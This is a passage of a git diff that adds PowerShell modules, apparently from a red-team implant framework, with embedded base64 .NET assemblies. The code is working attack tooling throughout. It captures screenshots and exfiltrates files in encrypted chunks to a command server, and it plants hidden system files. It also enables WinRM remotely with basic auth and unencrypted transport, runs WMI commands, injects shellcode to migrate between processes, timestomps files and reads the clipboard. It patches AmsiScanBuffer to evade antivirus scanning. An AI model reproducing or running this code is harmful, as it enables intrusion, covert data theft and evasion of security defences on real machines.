AAAAAAAABABAAAAAYAACAAAAAAAAAAAAAAAAAAAABAAEAAAAwAACAAAAAAAAAAAAAAAAAAAABAAAAAABIAAAAWEAAACwDAAAAAAAAAAAAACwDNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAQAAAAAAAAABAAAAAAA/AAAAAAAAAAQAAAACAAAAAAAAAAAAAAAAAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAAAsASMAgAAAQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAABoAgAAAQAwADAAMAAwADAANABiADAAAAAaAAEAAQBDAG8AbQBtAGUAbgB0AHMAAAAAAAAAIgABAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAAAAAAAAAAPgALAAEARgBpAGwAZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAAFMAYwByAGUAZQBuAHMAaABvAHQAAAAAADAACAABAEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAAMQAuADAALgAwAC4AMAAAAD4ADwABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAAUwBjAHIAZQBlAG4AcwBoAG8AdAAuAGQAbABsAAAAAABIABIAAQBMAGUAZwBhAGwAQwBvAHAAeQByAGkAZwBoAHQAAABDAG8AcAB5AHIAaQBnAGgAdAAgAKkAIAAgADIAMAAxADcAAAAqAAEAAQBMAGUAZwBhAGwAVAByAGEAZABlAG0AYQByAGsAcwAAAAAAAAAAAEYADwABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABTAGMAcgBlAGUAbgBzAGgAbwB0AC4AZABsAGwAAAAAADYACwABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAUwBjAHIAZQBlAG4AcwBoAG8AdAAAAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAMAAAAXDUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + $dllbytes = [System.Convert]::FromBase64String($ps) + $assembly = [System.Reflection.Assembly]::Load($dllbytes) + } + + $processes = Get-Process + foreach ($p in $processes) + { + try { + [IntPtr] $windowHandle = $p.MainWindowHandle; + $msimage = New-Object IO.MemoryStream + $bitmap = [WindowStation]::Capture($windowHandle); + $bitmap.save($msimage, "bmp") + $b64 = [Convert]::ToBase64String($msimage.toarray()) + $bitmap.Dispose(); + $ReadCommand = "get-screenshot" + $ReadCommand = Encrypt-String $key $ReadCommand + $send = Encrypt-String2 $key $b64 + $UploadBytes = getimgdata $send + (Get-Webclient -Cookie $ReadCommand).UploadData("$Server", $UploadBytes)|out-null + } catch {} + } + $error.clear() +} +function Download-Files +{ + param + ( + [string] $Directory + ) + $files = Get-ChildItem $Directory -Recurse | Where-Object{!($_.PSIsContainer)} + foreach ($item in $files) + { + Download-File $item.FullName + } +} +function Get-RandomName +{ + param + ( + [int]$Length + ) + $set = 'abcdefghijklmnopqrstuvwxyz0123456789'.ToCharArray() + $result = '' + for ($x = 0; $x -lt $Length; $x++) + {$result += $set | Get-Random} + return $result +} +function Download-File +{ + param + ( + [string] $Source + ) + try { + $fileName = Resolve-PathSafe $Source + $randomName = Get-RandomName -Length 5 + $fileExt = [System.IO.Path]::GetExtension($fileName) + $fileNameOnly = [System.IO.Path]::GetFileNameWithoutExtension($fileName) + $fullNewname = $Source + $bufferSize = 10737418; + + $fs = [System.IO.File]::Open($fileName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite); + $fileSize =(Get-Item $fileName).Length + + $chunkSize = $fileSize / $bufferSize + $totalChunks = [int][Math]::Ceiling($chunkSize) + if ($totalChunks -lt 1) {$totalChunks = 1} + $totalChunkStr = $totalChunks.ToString("00000") + $totalChunkByte = [System.Text.Encoding]::UTF8.GetBytes($totalChunkStr) + $Chunk = 1 + $finfo = new-object System.IO.FileInfo ($fileName) + $size = $finfo.Length + $str = New-Object System.IO.BinaryReader($fs); + do { + $ChunkStr = $Chunk.ToString("00000") + $ChunkedByte = [System.Text.Encoding]::UTF8.GetBytes($ChunkStr) + $preNumbers = New-Object byte[] 10 + $preNumbers = ($ChunkedByte+$totalChunkByte) + $readSize = $bufferSize; + $chunkBytes = $str.ReadBytes($readSize); + $ReadCommand = "download-file "+$fullNewname + $ReadCommand = Encrypt-String $key $ReadCommand + $send = Encrypt-Bytes $key ($preNumbers+$chunkBytes) + $UploadBytes = getimgdata $send + (Get-Webclient -Cookie $ReadCommand).UploadData("$Server", $UploadBytes)|out-null + ++$Chunk + } until (($size -= $bufferSize) -le 0); + } catch { + $Output = "ErrorCmd: " + $error[0] + $ReadCommand = "Error downloading file "+$fullnewname + $ReadCommand = Encrypt-String $key $ReadCommand + $send = Encrypt-String2 $key $output + $UploadBytes = getimgdata $send + (Get-Webclient -Cookie $ReadCommand).UploadData("$Server", $UploadBytes)|out-null + } +} +function Posh-Delete +{ + param + ( + [string] $Destination + ) + try { + $file = Get-Item $Destination -Force + $file.Attributes = "Normal" + $content = New-Object Byte[] $file.length + (New-Object Random).NextBytes($content) + [IO.File]::WriteAllBytes($file,$content) + Remove-Item $Destination -Force + } catch { + echo $error[0] + } +} +function Upload-File +{ + param + ( + [string] $Base64, + [string] $Destination + ) + try { + write-output "Uploaded file as HIDDEN & SYSTEM to: $Destination" + write-output "Run Get-ChildItem -Force to view the uploaded files" + $fileBytes = [Convert]::FromBase64String($Base64) + [io.file]::WriteAllBytes($Destination, $fileBytes) + $file = Get-Item $Destination -Force + $attrib = $file.Attributes + $attrib = "Hidden,System" + $file.Attributes = $attrib + } catch { + echo $error[0] + } +} +function Resolve-PathSafe +{ + param + ( + [string] $Path + ) + + $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($Path) +} +function EnableWinRM { +Param +( +[string] +$username, +[string] +$password, +[string] +$computer +) +Invoke-command -computer localhost -credential $getcreds -scriptblock { set-itemproperty -path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name LocalAccountTokenFilterPolicy -Value 1 -Type Dword} +Invoke-Command -Computer localhost -Credential $getcreds -Scriptblock {Set-Item WSMan:localhost\client\trustedhosts -value * -force} +$command = "cmd /c powershell.exe -c Set-WSManQuickConfig -Force;Set-Item WSMan:\localhost\Service\Auth\Basic -Value $True;Set-Item WSMan:\localhost\Service\AllowUnencrypted -Value $True; Register-PSSessionConfiguration -Name Microsoft.PowerShell -Force" +$PSS = ConvertTo-SecureString $password -AsPlainText -Force +$getcreds = new-object system.management.automation.PSCredential $username,$PSS +Invoke-WmiMethod -Path Win32_process -Name create -ComputerName $computer -Credential $getcreds -ArgumentList $command +} + +function DisableWinRM { +Param +( +[string] +$username, +[string] +$password, +[string] +$computer +) +$command = "cmd /c powershell.exe -c Set-Item WSMan:\localhost\Service\Auth\Basic -Value $False;Set-Item WSMan:\localhost\Service\AllowUnencrypted -Value $False;winrm delete winrm/config/listener?address=*+transport=HTTP;Stop-Service -force winrm;Set-Service -Name winrm -StartupType Disabled" +$PSS = ConvertTo-SecureString $password -AsPlainText -Force +$getcreds = new-object system.management.automation.PSCredential $username,$PSS +Invoke-WmiMethod -Path Win32_process -Name create -ComputerName $computer -Credential $getcreds -ArgumentList $command +} +function WMICommand { +Param +( +[string] +$username, +[string] +$password, +[string] +$computer, +[string] +$command +) +$PSS = ConvertTo-SecureString $password -AsPlainText -Force +$getcreds = new-object system.management.automation.PSCredential $username,$PSS +$WMIResult = Invoke-WmiMethod -Path Win32_process -Name create -ComputerName $computer -Credential $getcreds -ArgumentList $command +If ($WMIResult.Returnvalue -eq 0) { + Write-Output "Executed WMI Command with Sucess: $Command `n" +} else { + Write-Output "WMI Command Failed - Could be due to permissions or UAC is enabled on the remote host, Try mounting the C$ share to check administrative access to the host" +} +} + +Function Get-ProcessFull { + +[System.Diagnostics.Process[]] $processes64bit = @() +[System.Diagnostics.Process[]] $processes32bit = @() + + +$owners = @{} +gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user} + +$AllProcesses = @() + + if (Test-Win64) { + Write-Output "64bit implant running on 64bit machine" + } + +if (Test-Win64) { + foreach($process in get-process) { + $modules = $process.modules + foreach($module in $modules) { + $file = [System.IO.Path]::GetFileName($module.FileName).ToLower() + if($file -eq "wow64.dll") { + $processes32bit += $process + $pobject = New-Object PSObject | Select ID, StartTime, Name, Path, Arch, Username + $pobject.Id = $process.Id + $pobject.StartTime = $process.StartTime + $pobject.Name = $process.Name + $pobject.Path = $process.Path + $pobject.Arch = "x86" + $pobject.UserName = $owners[$process.Id.tostring()] + $AllProcesses += $pobject + break + } + } + + if(!($processes32bit -contains $process)) { + $processes64bit += $process + $pobject = New-Object PSObject | Select ID, StartTime, Name, Path, Arch, UserName + $pobject.Id = $process.Id + $pobject.StartTime = $process.StartTime + $pobject.Name = $process.Name + $pobject.Path = $process.Path + $pobject.Arch = "x64" + $pobject.UserName = $owners[$process.Id.tostring()] + $AllProcesses += $pobject + } +} +} +elseif ((Test-Win32) -and (-Not (Test-Wow64))) { +foreach($process in get-process) { + $processes32bit += $process + $pobject = New-Object PSObject | Select ID, StartTime, Name, Path, Arch, Username + $pobject.Id = $process.Id + $pobject.StartTime = $process.StartTime + $pobject.Name = $process.Name + $pobject.Path = $process.Path + $pobject.Arch = "x86" + $pobject.UserName = $owners[$process.Id.tostring()] + $AllProcesses += $pobject +} +} +elseif ((Test-Win32) -and (Test-Wow64)) { + foreach($process in get-process) { + $modules = $process.modules + foreach($module in $modules) { + $file = [System.IO.Path]::GetFileName($module.FileName).ToLower() + if($file -eq "wow64.dll") { + $processes32bit += $process + $pobject = New-Object PSObject | Select ID, StartTime, Name, Path, Arch, Username + $pobject.Id = $process.Id + $pobject.StartTime = $process.StartTime + $pobject.Name = $process.Name + $pobject.Path = $process.Path + $pobject.Arch = "x86" + $pobject.UserName = $owners[$process.Id.tostring()] + $AllProcesses += $pobject + break + } + } + + if(!($processes32bit -contains $process)) { + $processes64bit += $process + $pobject = New-Object PSObject | Select ID, StartTime, Name, Path, Arch, UserName + $pobject.Id = $process.Id + $pobject.StartTime = $process.starttime + $pobject.Name = $process.Name + $pobject.Path = $process.Path + $pobject.Arch = "x64" + $pobject.UserName = $owners[$process.Id.tostring()] + $AllProcesses += $pobject + } +} +} else { + Write-Output "Unknown Architecture" +} + +$AllProcesses|Select ID, UserName, Arch, Name, Path, StartTime | format-table -auto + +} +Function Invoke-Netstat { +try { + $TCPProperties = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties() + $Connections = $TCPProperties.GetActiveTcpListeners() + foreach($Connection in $Connections) { + if($Connection.address.AddressFamily -eq "InterNetwork" ) { $IPType = "IPv4" } else { $IPType = "IPv6" } + $OutputObj = New-Object -TypeName PSobject + $OutputObj | Add-Member -MemberType NoteProperty -Name "LocalAddress" -Value $connection.Address + $OutputObj | Add-Member -MemberType NoteProperty -Name "ListeningPort" -Value $Connection.Port + $OutputObj | Add-Member -MemberType NoteProperty -Name "IPV4Or6" -Value $IPType + $OutputObj + } + +} catch { + Write-Error "Failed to get listening connections. $_" +} +} +Function Get-Webpage { + param ($url) + $file = (New-Object System.Net.Webclient).DownloadString($url)|Out-String + $ReadCommand = "download-file web.html" + $ReadCommand = Encrypt-String $key $ReadCommand + $bytes = [System.Text.Encoding]::UTF8.GetBytes($file) + $base64 = [Convert]::ToBase64String($bytes) + $Output = Encrypt-String2 $key $base64 + $UploadBytes = getimgdata $Output + (Get-Webclient -Cookie $ReadCommand).UploadData("$Server", $UploadBytes)|out-null +} +Function AutoMigrate { +if (($p = Get-Process | ? {$_.id -eq $pid}).name -eq "powershell") { + $t=$true +} +if ($t -and [IntPtr]::size -eq 8){ + Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode64)) +} +elseif (($t -and [IntPtr]::size -eq 4)) { + Inject-Shellcode -x86 -Shellcode ([System.Convert]::FromBase64String($Shellcode86)) +} +} +Function AutoMigrate-Always { +if ([IntPtr]::size -eq 8){ + Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode64)) +} +elseif ([IntPtr]::size -eq 4) { + Inject-Shellcode -x86 -Shellcode ([System.Convert]::FromBase64String($Shellcode86)) +} +} +Function TimeStomp($File, $Date) { + $file=(gi $file) + $file.LastWriteTime=$date; + $file.LastAccessTime=$date; + $file.CreationTime=$date; +} +Function Get-Clipboard { + add-type -a system.windows.forms + [windows.forms.clipboard]::GetText() +} +Function Get-AllServices { + $Keys = Get-ChildItem HKLM:\System\CurrentControlSet\services; $Items = $Keys | Foreach-Object {Get-ItemProperty $_.PsPath } + ForEach ($Item in $Items) {$n=$Item.PSChildName;$i=$Item.ImagePath;$d=$Item.Description; echo "Name: $n `nImagePath: $i `nDescription: $d`n"} +} +Function Get-AllFirewallRules($path) { + $Rules=(New-object -comObject HNetCfg.FwPolicy2).rules + if ($path) { + $Rules | export-csv $path -NoTypeInformation + } else { + $Rules + } +} +Function Unhook-AMSI { + + $win32 = @" +using System.Runtime.InteropServices; +using System; +public class Win32 { +[DllImport("kernel32")] +public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); +[DllImport("kernel32")] +public static extern IntPtr LoadLibrary(string name); +[DllImport("kernel32")] +public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect +); +} +"@ +Add-Type $win32 +$ptr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer") +$b = 0 +[Win32]::VirtualProtect($ptr, [UInt32]5, 0x40, [Ref]$b) +$buf = New-Object Byte[] 7 +$buf[0] = 0x66; $buf[1] = 0xb8; $buf[2] = 0x01; $buf[3] = 0x00; $buf[4] = 0xc2; $buf[5] = 0x18; $buf[6] = 0x00; +[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 7) +} \ No newline at end of file diff --git a/Modules/Inject-Shellcode.ps1 b/Modules/Inject-Shellcode.ps1 new file mode 100644 index 0000000..2f39060 --- /dev/null +++ b/Modules/Inject-Shellcode.ps1 @@ -0,0 +1,227 @@ +function Inject-Shellcode ([switch]$x86, [switch]$x64, $ParentID, [switch]$RtlCreateUserThread, [switch]$Force, [switch]$Suspended, [Parameter(Mandatory=$true)]$Shellcode, $ProcID, $ProcessPath, $ProcPath, $ProcessName, $ProcName) +{ +<# +.SYNOPSIS +Inject-Shellcode + +Author: @benpturner + +.DESCRIPTION +Injects shellcode into x86 or x64 bit processes. Tested on Windowns 7 32 bit, Windows 7 64 bit and Windows 10 64bit. + +.EXAMPLE +Inject-Shellcode -x86 -Shellcode (GC C:\Temp\Shellcode.bin -Encoding byte) -ParentID 4502 + +.EXAMPLE +Inject-Shellcode -x86 -Shellcode (GC C:\Temp\Shellcode.bin -Encoding byte) -ProcID 5634 + +.EXAMPLE +Inject-Shellcode -x86 -Shellcode (GC C:\Temp\Shellcode.bin -Encoding byte) -ProcessPath C:\Windows\System32\notepad.exe + +.EXAMPLE +Inject-Shellcode -Shellcode (GC C:\Temp\Shellcode.bin -Encoding byte) -ProcessName notepad.exe + +#> + +if($ProcName){ + $ProcessName = $ProcName +} +if($ProcPath){ + $ProcessPath = $ProcPath +} +$p = "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LQCcBwEABIAAAAEAAAAAAAAAAAAAAAAAGAgAAAIAAAAAAAAAAAAAAGAAuQEAAAAAAgAAAAAAAAAAAAAAYADDBQAAAAAGAAQABwAEAAgABAAJAAQACgAFAAsABQAMAAUAAAAAAABrZXJuZWwzMgBjYlJlc2VydmVkMgBscFJlc2VydmVkMgA8TW9kdWxlPgBFWEVDVVRFX1JFQUQAU1VTUEVORF9SRVNVTUUAVEVSTUlOQVRFAElNUEVSU09OQVRFAFBBR0VfUkVBRFdSSVRFAEVYRUNVVEVfUkVBRFdSSVRFAEVYRUNVVEUATUVNX1JFU0VSVkUAV1JJVEVfV0FUQ0gAUEhZU0lDQUwAU0VUX1RIUkVBRF9UT0tFTgBQUk9DRVNTX0lORk9STUFUSU9OAFNFVF9JTkZPUk1BVElPTgBRVUVSWV9JTkZPUk1BVElPTgBESVJFQ1RfSU1QRVJTT05BVElPTgBUT1BfRE9XTgBTVEFSVFVQSU5GTwBMQVJHRV9QQUdFUwBTRUNVUklUWV9BVFRSSUJVVEVTAE5PQUNDRVNTAFBST0NFU1NfQUxMX0FDQ0VTUwBSRVNFVABNRU1fQ09NTUlUAEdFVF9DT05URVhUAFNFVF9DT05URVhUAFNUQVJUVVBJTkZPRVgAZHdYAFJFQURPTkxZAEVYRUNVVEVfV1JJVEVDT1BZAGR3WQB2YWx1ZV9fAGNiAG1zY29ybGliAHNyYwBscFRocmVhZElkAGR3VGhyZWFkSWQAcGFyZW50UHJvY2Vzc0lkAGR3UHJvY2Vzc0lkAENsaWVudElkAEdldFByb2Nlc3NCeUlkAFN1c3BlbmRUaHJlYWQAUmVzdW1lVGhyZWFkAENyZWF0ZVJlbW90ZVRocmVhZABoVGhyZWFkAE9wZW5UaHJlYWQAUnRsQ3JlYXRlVXNlclRocmVhZABDcmVhdGVTdXNwZW5kZWQAbHBSZXNlcnZlZABnZXRfSGFuZGxlAEdldE1vZHVsZUhhbmRsZQBDbG9zZUhhbmRsZQBiSW5oZXJpdEhhbmRsZQBscFRpdGxlAGhNb2R1bGUAcHJvY05hbWUAbHBNb2R1bGVOYW1lAGxwQXBwbGljYXRpb25OYW1lAGxwQ29tbWFuZExpbmUAVmFsdWVUeXBlAGZsQWxsb2NhdGlvblR5cGUAVXBkYXRlUHJvY1RocmVhZEF0dHJpYnV0ZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAGR3RmlsbEF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBscFZhbHVlAGxwUHJldmlvdXNWYWx1ZQBkd1hTaXplAGR3WVNpemUAZ2V0X1NpemUAY2JTaXplAENvbW1pdHRlZFN0YWNrU2l6ZQBNYXhpbXVtU3RhY2tTaXplAGR3U3RhY2tTaXplAGxwUmV0dXJuU2l6ZQBscFN